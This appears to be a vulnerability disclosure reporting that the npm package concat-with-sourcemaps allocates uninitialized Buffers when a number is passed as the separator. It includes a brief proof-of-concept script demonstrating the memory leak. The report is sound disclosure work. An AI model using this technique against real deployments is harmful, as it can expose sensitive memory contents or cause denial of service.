`concat-with-sourcemaps` allocates uninitialized Buffers when number is passed as a separator

I would like to report an uninitialized Buffer allocation issue in `concat-with-sourcemaps`. It allows to extract sensitive data from uninitialized memory or to cause a DoS by passing in a large number, in (unlikely) setups where `separator` is attacker-controlled.

const Concat = require('concat-with-sourcemaps');
var concat = new Concat(true, 'all.js', 234); // separator is 234
concat.add(null, "// (c) John Doe");
concat.add('file1.js', "const a = 10;");
concat.add('file2.js', "const b = 20;");
console.log(concat.content.toString('utf-8'));